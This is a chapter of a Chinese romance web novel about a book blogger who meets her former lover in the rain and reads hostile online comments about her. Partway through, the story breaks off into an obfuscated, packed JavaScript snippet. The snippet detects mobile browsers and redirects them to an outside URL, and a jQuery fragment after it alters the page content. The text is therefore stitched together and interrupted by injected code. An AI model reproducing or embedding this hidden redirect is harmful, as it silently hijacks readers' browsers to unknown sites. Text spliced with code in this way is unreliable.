“可以坐吗？”
五年前，琼岛一家冲浪俱乐部内，等待上课的景夏从手机屏幕抬头，被一众黑皮哥哥之间突然冒出来的白肤晃了眼。
见她不答，男生指了下她对面的沙发，礼貌地欠身，又问：“可以坐吗？”
俊朗斯文的阳光男孩，眉宇间还有几分内敛谨慎，这样的人到哪都招人喜欢。
景夏笑了下，“当然。”
“可以坐吗？”
景夏还保持着支下巴的姿势，眼神落在了那瓶刚打开还未喝的啤酒。
她听到自己说，“喝完再坐。”
时樾盯着那棕色瓶中摇晃的液体，脸色陡然变得苍白。和意料之中一般无二，甚至更夸张。
因为父亲常年应酬又酒品欠佳，总在醉酒后闹事，所以他痛恨这样的行为，是滴酒不沾的。
看，曾经最亲密的人最知道如何捅对方心窝。
景夏胸口又憋又闷，“啪”一声将筷子扣于碗沿，冲刚好路过的服务生小哥招手，“你好，买单。”
“好的，您稍等。”小哥小跑去了吧台。
何必这么咄咄逼人？有怨气才会咄咄逼人。
面对一个此刻不会、将来也不会有任何关系的人，实在是不应该且没必要的。
景夏跨过木头板凳在过道站定，“我和你不是坐在一起吃火锅的关系。”
两步之外，时樾捞起雨伞，转了个方向换手捏住伞尖，“还在下雨，打伞回去。”
“不用了。”景夏掠过直冲她的手柄，看到服务生去而复返，从牛仔裤兜掏出手机。
小哥却是空手走来，在两人中间站定，“女士，您这一桌已经买过了。”
“买过了？”景夏一怔，“谁买的？”
“这我就不清楚了。”小哥笑着挠头，而后秉持着良好的服务精神欠身，“请您带好随身物品，慢走。欢迎下次光临。”
“……”景夏按下锁屏，看向还保持着递伞的姿势的男人。
时樾薄唇轻抿，瞳孔在灯光映射下泛着浅浅的琥珀色，晕着她看不懂的情绪。
从温暖的室内踏入微凉的夜色，景夏抱紧双臂。她看了看房车的方向，而后脚步一转，向反方向走去。
西边两百米左右是一个口袋公园，方才开车来时看到的。
漫步过去，人行道旁黄桷树树干挺拔，茂密的枝叶织出一面会呼吸的网。在椭圆形叶片摩挲的沙沙声中，景夏在公园角落的秋千坐下。
有点湿，但裤子本身就没干，所以不打紧。
雨停了，方才的尾巴没跟上来，只有雾气缓缓升腾。
她趿着拖鞋，前后晃着秋千，望着这座城市的一隅。
五年不见的城市。
不再熟悉的城市。
景夏将脸靠在握着铁链的那只手，掏出手机去查看方才的评论，看看有没有合适靠谱的领养人。
吃顿火锅的功夫，评论数翻了一倍，除了置顶的领养评论外，热评第一也不再是宠物医院信息。
【疑似自导自演想蹭动物救助扭转口碑，估计故意撞的吧？能不能举报虐狗啊？】
1047个赞，351条回复。
景夏往下翻了翻。
【边牧这种品种狗流浪的太少，而且不太可能突然窜马路。】
【流浪边牧还是有的，高敏的狗有遗弃的概率。】
【就算有，山城那么多人，怎么就偏偏被她个旅游的遇到了？太巧合了吧？】
【看到评论区都在骂我就放心了】
【一本书连窝角都没就敢说深度阅读，精致摆拍滤镜罢了。这就是所谓头部大V呢！】
【之前只是恰烂钱，虐狗的话那纯纯没良心。】
【看长相就是野鸡大学的，发两本书就敢装文化人了？】
【再看穿的衣服，懂得都懂。】
【点了。】
……
景夏突然很难过。
她没事。但做八年读书博主后，面对这样铺天盖地的恶评攻击，她还是会难过。
她真没事。但见到了原以为再也不会相见的时樾，她……原来还是会难过。
“啪嗒！”
一滴雨模糊了刺目的字眼。
紧接着又一滴，砸在了她悬空的拇指。很快，所有字迹都变得模糊不清。
景夏伸出另一只手。掌心是很坚硬且愈发密集的刺感，预示着去而复返的来势汹汹。她将手机塞口袋，正要起身时——雨却在瞬间消失了。
一双板正的牛津皮鞋踏于积水正中，鞋面溅了水和泥点，有些格格不入。
景夏缓缓抬头。
宽阔的伞面隔绝了风雨侵袭，却隔绝不了雾气飘渺。时樾撑着伞，低垂的眉目朦胧不清，“淋雨容易着凉。”
景夏眼皮动了动，“已经淋过了。”
“那就不要再淋了。”
伞骨倾斜，紧随她的一举一动。起身，绕开水坑，踏上布满落叶的人行道。
雨滴汇聚成线，雨线又汇聚成倾盆之势，撕碎了黑夜静谧的伪装。
“什么时候走？”时樾问，嗓音低沉。
景夏没偏头，连眼珠都没动一下，“尽快。”
“雨后雾大，开高速不安全。”
一不留神，落脚的地砖翘起，冰水自裤腿里直触肌肤，又从小腿流下灌进拖鞋。
景夏嘶了一声，猛然停下脚步。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276285|198260||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手肘被温热的触感包裹。
一秒，最多一秒，裹挟凉意的空气取而代之。
时樾搀了她又撤手，速度很快，但那不容忽视的粗粝划过手臂敏感的肌肤，留下刮蹭后的刺痛。
“抱歉。”他立刻说。
某些不该存在的记忆仍在闪回。
景夏终于向自己试图忽视的男人看去。水滴自时樾浓密的睫毛上坠落，将她的心拽进谷底。被枝叶过滤后的路灯幽暗，但足以让她看清那棱角分明的脸颊上布满的水珠、湿透的短发和比黑色更浓稠的黑衬衫。
整把伞几乎都留在她的头顶，严严实实，密不透风。
微愣的功夫，伞倒了手，时樾也绕至她的另一边。
他垂眸，眉心用力蹙起。
泥水黏腻地附着在每一寸裸露的皮肤，景夏很不舒服地挪动脚趾，却在察觉时樾的视线后兀自加快了速度。
可所在的方寸之地始终无风无雨，脚踩的盲道也比其他砖块更坚实。
回到车位，三盆绿植早已吸饱了水，青翠欲滴。
景夏一盆一盆挪至房车的台阶，准备清理一下再搬进去，而后大跨步上了车，反手关门，“谢谢。”
把手被猛地扣住，停在半合的门缝聚了风挟着雨，更起劲地吹着。时樾低声道：“等等。”
景夏向侧躲了躲，“还有事？”
时樾从裤兜取出一个塑料袋，放在门边的位置，而后撤身，嗓音渐远，“晚安。”
景夏锁上门后拾起，解开湿淋淋的袋子，里面是两袋干爽的姜枣茶。
房车顶规律的响声是自然的乐章，有些吵，但并不会惹人心烦。
她从柜子里拿了只马克杯，刚撕开包装袋，瞥见男人离开的身影并未融入夜色，而是迎向宠物医院明亮的门灯。于是不着痕迹，将窗推开一个指头的缝隙。
时樾才至台阶下，倩影一闪而来。
“去哪了？”陈嘉璐捏了捏时樾的湿发，“怎么都淋湿了？”
方才的黑伞再一次倾斜，拢住站在时樾身边的女人。从侧看去他下颌线收得很紧，似乎有些不悦，“这么大的雨你出来干什么？”
“这话留着跟你自己说吧。”陈嘉璐推着他往里走，“我给你找毛巾擦擦，这要感冒了怎么办……”
时樾任她驱使，护她进去后才合伞，“不会，我给咱们冲姜茶。”
“你这伞是白拿了吗？到底怎么回事…….”
女声横跨半个停车位和暴雨传来，依旧没掩盖那浓浓的担忧关切。直到玻璃门开了又关，将一切彻底阻隔。
姜枣茶成抛物线落入垃圾桶，和清理蝈蝈笼的湿巾、面包虫残躯和隔夜的红茶混在了一起。